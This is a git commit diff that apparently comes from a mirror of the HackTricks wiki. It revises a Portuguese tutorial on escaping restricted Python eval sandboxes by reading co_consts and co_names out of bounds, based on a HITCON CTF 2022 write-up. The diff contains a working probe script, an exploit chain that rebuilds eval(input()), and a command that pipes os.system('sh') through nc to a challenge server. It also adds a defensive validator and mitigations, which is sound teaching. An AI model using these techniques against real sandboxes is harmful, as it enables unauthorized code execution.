mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/python/bypass-pytho
This commit is contained in:
parent
9af4e8a2c8
commit
e2f293969e
@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
**Esta informação foi retirada** [**deste artigo**](https://blog.splitline.tw/hitcon-ctf-2022/)**.**
|
**Esta informação foi retirada** [**deste relatório**](https://blog.splitline.tw/hitcon-ctf-2022/)**.**
|
||||||
|
|
||||||
### TL;DR <a href="#tldr-2" id="tldr-2"></a>
|
### TL;DR <a href="#tldr-2" id="tldr-2"></a>
|
||||||
|
|
||||||
@ -21,13 +21,13 @@ print(eval(code, {'__builtins__': {}}))1234
|
|||||||
```
|
```
|
||||||
Você pode inserir código Python arbitrário, e ele será compilado em um [objeto de código Python](https://docs.python.org/3/c-api/code.html). No entanto, `co_consts` e `co_names` desse objeto de código serão substituídos por uma tupla vazia antes de avaliar esse objeto de código.
|
Você pode inserir código Python arbitrário, e ele será compilado em um [objeto de código Python](https://docs.python.org/3/c-api/code.html). No entanto, `co_consts` e `co_names` desse objeto de código serão substituídos por uma tupla vazia antes de avaliar esse objeto de código.
|
||||||
|
|
||||||
Assim, todas as expressões que contêm consts (por exemplo, números, strings etc.) ou nomes (por exemplo, variáveis, funções) podem causar falha de segmentação no final.
|
Dessa forma, todas as expressões que contêm constantes (por exemplo, números, strings etc.) ou nomes (por exemplo, variáveis, funções) podem causar falha de segmentação no final.
|
||||||
|
|
||||||
### Leitura Fora do Limite <a href="#out-of-bound-read" id="out-of-bound-read"></a>
|
### Leitura Fora dos Limites <a href="#out-of-bound-read" id="out-of-bound-read"></a>
|
||||||
|
|
||||||
Como a falha de segmentação acontece?
|
Como a falha de segmentação acontece?
|
||||||
|
|
||||||
Vamos começar com um exemplo simples, `[a, b, c]` poderia ser compilado no seguinte bytecode.
|
Vamos começar com um exemplo simples, `[a, b, c]` pode ser compilado no seguinte bytecode.
|
||||||
```
|
```
|
||||||
1 0 LOAD_NAME 0 (a)
|
1 0 LOAD_NAME 0 (a)
|
||||||
2 LOAD_NAME 1 (b)
|
2 LOAD_NAME 1 (b)
|
||||||
@ -35,11 +35,11 @@ Vamos começar com um exemplo simples, `[a, b, c]` poderia ser compilado no segu
|
|||||||
6 BUILD_LIST 3
|
6 BUILD_LIST 3
|
||||||
8 RETURN_VALUE12345
|
8 RETURN_VALUE12345
|
||||||
```
|
```
|
||||||
Mas e se o `co_names` se tornar uma tupla vazia? O opcode `LOAD_NAME 2` ainda é executado e tenta ler o valor daquele endereço de memória que originalmente deveria ser. Sim, isso é um recurso de leitura fora dos limites "feature".
|
Mas e se o `co_names` se tornar uma tupla vazia? O opcode `LOAD_NAME 2` ainda é executado e tenta ler o valor daquele endereço de memória que originalmente deveria estar. Sim, isso é uma "característica" de leitura fora dos limites.
|
||||||
|
|
||||||
O conceito central para a solução é simples. Alguns opcodes no CPython, por exemplo, `LOAD_NAME` e `LOAD_CONST`, são vulneráveis (?) a leitura fora dos limites.
|
O conceito central para a solução é simples. Alguns opcodes no CPython, por exemplo `LOAD_NAME` e `LOAD_CONST`, são vulneráveis (?) a leitura fora dos limites.
|
||||||
|
|
||||||
Eles recuperam um objeto do índice `oparg` da tupla `consts` ou `names` (é assim que `co_consts` e `co_names` são chamados internamente). Podemos nos referir ao seguinte trecho curto sobre `LOAD_CONST` para ver o que o CPython faz quando processa o opcode `LOAD_CONST`.
|
Eles recuperam um objeto do índice `oparg` da tupla `consts` ou `names` (é assim que `co_consts` e `co_names` são chamados internamente). Podemos nos referir ao seguinte pequeno trecho sobre `LOAD_CONST` para ver o que o CPython faz quando processa o opcode `LOAD_CONST`.
|
||||||
```c
|
```c
|
||||||
case TARGET(LOAD_CONST): {
|
case TARGET(LOAD_CONST): {
|
||||||
PREDICTED(LOAD_CONST);
|
PREDICTED(LOAD_CONST);
|
||||||
@ -80,7 +80,7 @@ Você pode entender a razão por trás disso apenas visualizando seu bytecode:
|
|||||||
24 BUILD_LIST 1
|
24 BUILD_LIST 1
|
||||||
26 RETURN_VALUE1234567891011121314
|
26 RETURN_VALUE1234567891011121314
|
||||||
```
|
```
|
||||||
Observe que `LOAD_ATTR` também recupera o nome de `co_names`. O Python carrega nomes do mesmo deslocamento se o nome for o mesmo, então o segundo `__getattribute__` ainda é carregado do offset=5. Usando esse recurso, podemos usar um nome arbitrário uma vez que o nome esteja na memória próxima.
|
Observe que `LOAD_ATTR` também recupera o nome de `co_names`. O Python carrega nomes do mesmo offset se o nome for o mesmo, então o segundo `__getattribute__` ainda é carregado do offset=5. Usando esse recurso, podemos usar um nome arbitrário uma vez que o nome esteja na memória próxima.
|
||||||
|
|
||||||
Para gerar números, deve ser trivial:
|
Para gerar números, deve ser trivial:
|
||||||
|
|
||||||
@ -205,7 +205,7 @@ print(source)
|
|||||||
# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
|
# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
|
||||||
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
|
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
|
||||||
```
|
```
|
||||||
Basicamente, ele faz as seguintes coisas, para aquelas strings que obtemos do método `__dir__`:
|
Basicamente, ele faz as seguintes coisas, para essas strings obtemos do método `__dir__`:
|
||||||
```python
|
```python
|
||||||
getattr = (None).__getattribute__('__class__').__getattribute__
|
getattr = (None).__getattribute__('__class__').__getattribute__
|
||||||
builtins = getattr(
|
builtins = getattr(
|
||||||
@ -218,4 +218,117 @@ getattr(
|
|||||||
'__repr__').__getattribute__('__globals__')['builtins']
|
'__repr__').__getattribute__('__globals__')['builtins']
|
||||||
builtins['eval'](builtins['input']())
|
builtins['eval'](builtins['input']())
|
||||||
```
|
```
|
||||||
|
---
|
||||||
|
|
||||||
|
### Notas de versão e opcodes afetados (Python 3.11–3.13)
|
||||||
|
|
||||||
|
- Os opcodes de bytecode do CPython ainda indexam as tuplas `co_consts` e `co_names` por operandos inteiros. Se um atacante conseguir forçar essas tuplas a ficarem vazias (ou menores do que o índice máximo usado pelo bytecode), o interpretador lerá a memória fora dos limites para esse índice, resultando em um ponteiro PyObject arbitrário da memória próxima. Os opcodes relevantes incluem pelo menos:
|
||||||
|
- `LOAD_CONST consti` → lê `co_consts[consti]`.
|
||||||
|
- `LOAD_NAME namei`, `STORE_NAME`, `DELETE_NAME`, `LOAD_GLOBAL`, `STORE_GLOBAL`, `IMPORT_NAME`, `IMPORT_FROM`, `LOAD_ATTR`, `STORE_ATTR` → lê nomes de `co_names[...]` (para 3.11+ note que `LOAD_ATTR`/`LOAD_GLOBAL` armazena bits de flag no bit baixo; o índice real é `namei >> 1`). Consulte a documentação do desassemblador para a semântica exata por versão. [Python dis docs].
|
||||||
|
- O Python 3.11+ introduziu caches adaptativos/inline que adicionam entradas `CACHE` ocultas entre instruções. Isso não muda o primitivo OOB; significa apenas que, se você criar bytecode manualmente, deve levar em conta essas entradas de cache ao construir `co_code`.
|
||||||
|
|
||||||
|
Implicação prática: a técnica nesta página continua a funcionar no CPython 3.11, 3.12 e 3.13 quando você pode controlar um objeto de código (por exemplo, via `CodeType.replace(...)`) e reduzir `co_consts`/`co_names`.
|
||||||
|
|
||||||
|
### Scanner rápido para índices OOB úteis (compatível com 3.11+/3.12+)
|
||||||
|
|
||||||
|
Se você preferir sondar objetos interessantes diretamente do bytecode em vez de a partir de código-fonte de alto nível, pode gerar objetos de código mínimos e forçar índices. O auxiliar abaixo insere automaticamente caches inline quando necessário.
|
||||||
|
```python
|
||||||
|
import dis, types
|
||||||
|
|
||||||
|
def assemble(ops):
|
||||||
|
# ops: list of (opname, arg) pairs
|
||||||
|
cache = bytes([dis.opmap.get("CACHE", 0), 0])
|
||||||
|
out = bytearray()
|
||||||
|
for op, arg in ops:
|
||||||
|
opc = dis.opmap[op]
|
||||||
|
out += bytes([opc, arg])
|
||||||
|
# Python >=3.11 inserts per-opcode inline cache entries
|
||||||
|
ncache = getattr(dis, "_inline_cache_entries", {}).get(opc, 0)
|
||||||
|
out += cache * ncache
|
||||||
|
return bytes(out)
|
||||||
|
|
||||||
|
# Reuse an existing function's code layout to simplify CodeType construction
|
||||||
|
base = (lambda: None).__code__
|
||||||
|
|
||||||
|
# Example: probe co_consts[i] with LOAD_CONST i and return it
|
||||||
|
# co_consts/co_names are intentionally empty so LOAD_* goes OOB
|
||||||
|
|
||||||
|
def probe_const(i):
|
||||||
|
code = assemble([
|
||||||
|
("RESUME", 0), # 3.11+
|
||||||
|
("LOAD_CONST", i),
|
||||||
|
("RETURN_VALUE", 0),
|
||||||
|
])
|
||||||
|
c = base.replace(co_code=code, co_consts=(), co_names=())
|
||||||
|
try:
|
||||||
|
return eval(c)
|
||||||
|
except Exception:
|
||||||
|
return None
|
||||||
|
|
||||||
|
for idx in range(0, 300):
|
||||||
|
obj = probe_const(idx)
|
||||||
|
if obj is not None:
|
||||||
|
print(idx, type(obj), repr(obj)[:80])
|
||||||
|
```
|
||||||
|
Notas
|
||||||
|
- Para sondar nomes em vez disso, troque `LOAD_CONST` por `LOAD_NAME`/`LOAD_GLOBAL`/`LOAD_ATTR` e ajuste o uso da sua pilha de acordo.
|
||||||
|
- Use `EXTENDED_ARG` ou múltiplos bytes de `arg` para alcançar índices >255, se necessário. Ao construir com `dis` como acima, você controla apenas o byte baixo; para índices maiores, construa os bytes brutos você mesmo ou divida o ataque em múltiplos loads.
|
||||||
|
|
||||||
|
### Padrão mínimo de RCE apenas com bytecode (co_consts OOB → builtins → eval/input)
|
||||||
|
|
||||||
|
Uma vez que você tenha identificado um índice `co_consts` que resolve para o módulo builtins, você pode reconstruir `eval(input())` sem nenhum `co_names` manipulando a pilha:
|
||||||
|
```python
|
||||||
|
# Build co_code that:
|
||||||
|
# 1) LOAD_CONST <builtins_idx> → push builtins module
|
||||||
|
# 2) Use stack shuffles and BUILD_TUPLE/UNPACK_EX to peel strings like 'input'/'eval'
|
||||||
|
# out of objects living nearby in memory (e.g., from method tables),
|
||||||
|
# 3) BINARY_SUBSCR to do builtins["input"] / builtins["eval"], CALL each, and RETURN_VALUE
|
||||||
|
# This pattern is the same idea as the high-level exploit above, but expressed in raw bytecode.
|
||||||
|
```
|
||||||
|
Essa abordagem é útil em desafios que lhe dão controle direto sobre `co_code` enquanto forçam `co_consts=()` e `co_names=()` (por exemplo, BCTF 2024 “awpcode”). Ela evita truques em nível de fonte e mantém o tamanho do payload pequeno ao aproveitar operações de pilha de bytecode e construtores de tuplas.
|
||||||
|
|
||||||
|
### Verificações defensivas e mitigação para sandboxes
|
||||||
|
|
||||||
|
Se você está escrevendo um “sandbox” em Python que compila/avalia código não confiável ou manipula objetos de código, não confie no CPython para verificar os limites dos índices de tupla usados pelo bytecode. Em vez disso, valide os objetos de código você mesmo antes de executá-los.
|
||||||
|
|
||||||
|
Validador prático (rejeita acesso OOB a co_consts/co_names)
|
||||||
|
```python
|
||||||
|
import dis
|
||||||
|
|
||||||
|
def max_name_index(code):
|
||||||
|
max_idx = -1
|
||||||
|
for ins in dis.get_instructions(code):
|
||||||
|
if ins.opname in {"LOAD_NAME","STORE_NAME","DELETE_NAME","IMPORT_NAME",
|
||||||
|
"IMPORT_FROM","STORE_ATTR","LOAD_ATTR","LOAD_GLOBAL","DELETE_GLOBAL"}:
|
||||||
|
namei = ins.arg or 0
|
||||||
|
# 3.11+: LOAD_ATTR/LOAD_GLOBAL encode flags in the low bit
|
||||||
|
if ins.opname in {"LOAD_ATTR","LOAD_GLOBAL"}:
|
||||||
|
namei >>= 1
|
||||||
|
max_idx = max(max_idx, namei)
|
||||||
|
return max_idx
|
||||||
|
|
||||||
|
def max_const_index(code):
|
||||||
|
return max([ins.arg for ins in dis.get_instructions(code)
|
||||||
|
if ins.opname == "LOAD_CONST"] + [-1])
|
||||||
|
|
||||||
|
def validate_code_object(code: type((lambda:0).__code__)):
|
||||||
|
if max_const_index(code) >= len(code.co_consts):
|
||||||
|
raise ValueError("Bytecode refers to const index beyond co_consts length")
|
||||||
|
if max_name_index(code) >= len(code.co_names):
|
||||||
|
raise ValueError("Bytecode refers to name index beyond co_names length")
|
||||||
|
|
||||||
|
# Example use in a sandbox:
|
||||||
|
# src = input(); c = compile(src, '<sandbox>', 'exec')
|
||||||
|
# c = c.replace(co_consts=(), co_names=()) # if you really need this, validate first
|
||||||
|
# validate_code_object(c)
|
||||||
|
# eval(c, {'__builtins__': {}})
|
||||||
|
```
|
||||||
|
Ideias adicionais de mitigação
|
||||||
|
- Não permita `CodeType.replace(...)` arbitrário em entradas não confiáveis, ou adicione verificações estruturais rigorosas no objeto de código resultante.
|
||||||
|
- Considere executar código não confiável em um processo separado com sandboxing a nível de OS (seccomp, objetos de trabalho, contêineres) em vez de depender da semântica do CPython.
|
||||||
|
|
||||||
|
## Referências
|
||||||
|
|
||||||
|
- O writeup do HITCON CTF 2022 da Splitline “V O I D” (origem desta técnica e cadeia de exploração de alto nível): https://blog.splitline.tw/hitcon-ctf-2022/
|
||||||
|
- Documentos do desassemblador Python (semântica de índices para LOAD_CONST/LOAD_NAME/etc., e flags de baixo bit `LOAD_ATTR`/`LOAD_GLOBAL` para 3.11+): https://docs.python.org/3.13/library/dis.html
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user